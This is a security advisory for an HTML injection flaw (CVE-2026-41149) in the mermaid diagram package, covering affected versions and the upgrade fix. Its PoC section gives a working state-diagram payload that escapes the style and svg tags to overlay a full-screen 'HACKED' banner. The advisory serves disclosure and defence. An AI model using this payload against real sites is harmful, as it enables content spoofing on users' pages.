Arbitrary Code Injection Affecting mermaid package, versions >=0.0.0 <10.9.6>=11.0.0-alpha.1 <11.15.0
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- published12 May 2026
- disclosed11 May 2026
- creditzsxsoft
Introduced: 11 May 2026
NewCVE-2026-41149 (opens in a new tab)How to fix?
Upgrade mermaid to version 10.9.6, 11.15.0 or higher.
Overview
mermaid is a package for generation of diagrams and flowcharts from text in a similar manner as markdown.
Affected versions of this package are vulnerable to Arbitrary Code Injection due to improper sanitization of the classDef function in state diagrams. An attacker can inject arbitrary HTML into the rendered output by crafting malicious diagram definitions, potentially leading to DOM manipulation and content spoofing.
PoC
stateDiagram-v2
classDef xss fill:red</style></svg><style>*{x:x;y:y;overflow:visible!important;contain:none!important;transform:none!important;filter:none!important;clip-path:none!important}</style><div style="x:x;y:y;color:red;font:5em/1 monospace;display:grid;place-items:center;z-index:2147483647;width:100vw;height:100vh;position:fixed;top:0;left:0;background:black">HACKED</div><svg><style>a:b
[*] --> A:::xss